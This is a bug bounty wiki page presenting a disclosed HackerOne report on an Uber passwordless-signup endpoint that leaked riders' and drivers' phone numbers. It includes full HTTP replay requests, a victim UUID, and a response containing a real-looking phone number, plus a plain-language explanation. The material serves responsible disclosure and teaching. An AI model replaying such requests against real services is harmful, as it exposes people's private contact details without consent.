phone number exposure for riders/drivers given email/uuid
A passwordless signup endpoint returned a user's private phone number in its response when the request was replayed with a changed state value. An attacker who knew a rider's or driver's email address or UUID could therefore learn their real phone number.
Originally disclosed on HackerOne
- Triaged in 39 hours
- Fixed in 15 days
- Paid in 39 hours
- Disclosed after 32 days
Summary by the program
Given a Rider or Driver's email address or UUID, an Attacker could find out their actual phone number.
The report
Hi ,
Summary
I have found one more vulnerable endpoint that is leaking user's phone number when i submit UUID in the request. This attack works for both Driver and Rider.
Security Impact
We can get any Rider or Driver private phone number by knowing his UUID.
Reproduction Steps
1 . Enter victim's UUID in loginId and replay the following request.
Request:
POST /rt/users/passwordless-signup HTTP/1.1
Content-Type: application/json; charset=UTF-8
Host: cn-dca1.uber.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/12.7.2
Content-Length: 663
{
"commonData": {
"appName": "client",
"deviceIMEI": "541127718435990",
"deviceId": "6f4b8fed46dce6b5cc77f67d19adc2f2",
"deviceMobileCountryCode": "in",
"deviceMobileDigits": "",
"deviceModel": "HM NOTE 1LTE",
"deviceOS": "4.4.4",
"deviceSerialNumber": "2f1e6fa",
"version": "3.134.5",
"language": "en_US",
"latitude": 0.0,
"longitude": 0.0,
"epoch": 1484671747392
},
"mobileCountryISO2": "IN",
"loginId": "ee497b97-bc85-4687-b20b-ecf352a590c2",
"state": "NOT_STARTED",
"userRole": "client",
"userWorkflow": "PASSWORDLESS_SIGNUP"
}
Response:
{
"loginId": "",
"serverState": "SIGN_IN",
"tripVerifyStateData": {},
"userMessage": null,
"userRole": "client",
"userWorkflow": "PASSWORDLESS_SIGNUP"
}
2 . Now change state to SIGN_IN in the request and replay .
Request:
POST /rt/users/passwordless-signup HTTP/1.1
Content-Type: application/json; charset=UTF-8
Host: cn-dca1.uber.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/12.7.2
Content-Length: 659
{
"commonData": {
"appName": "client",
"deviceIMEI": "541127718435990",
"deviceId": "6f4b8fed46dce6b5cc77f67d19adc2f2",
"deviceMobileCountryCode": "in",
"deviceMobileDigits": "",
"deviceModel": "HM NOTE 1LTE",
"deviceOS": "4.4.4",
"deviceSerialNumber": "2f1e6fa",
"version": "3.134.5",
"language": "en_US",
"latitude": 0.0,
"longitude": 0.0,
"epoch": 1484671747392
},
"mobileCountryISO2": "IN",
"loginId": "ee497b97-bc85-4687-b20b-ecf352a590c2",
"state": "SIGN_IN",
"userRole": "client",
"userWorkflow": "PASSWORDLESS_SIGNUP"
}
Response:
{
"errorCode": "INVALID_REQUEST",
"errorMessage": "Client should never call backend with this state.",
"phoneNumberE164": "+919899665409",
"serverState": "FAILED",
"userMessage": "The client request has invalid parameters. Please update your app and retry.",
"userWorkflow": "PASSWORDLESS_SIGNUP"
}
You will see Victim's private phone number in the response.
Thank you
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the signup endpoint returned the full user record, including the phone number, in an error response instead of only the fields the client needed.
Impact
An attacker with a rider's or driver's email or UUID could obtain their private phone number.
What the attacker needed
Know victim's email or UUID
How it was found
- Send a passwordless signup request with the victim's UUID as the login identifier.
- Change the state field to the sign-in value and replay the request.
- Read the victim's phone number from the error response.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you use passwordless signup with an email or account ID, the server's reply included the phone number itself. Anyone who knew your email or account ID could send the same request and read your number.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.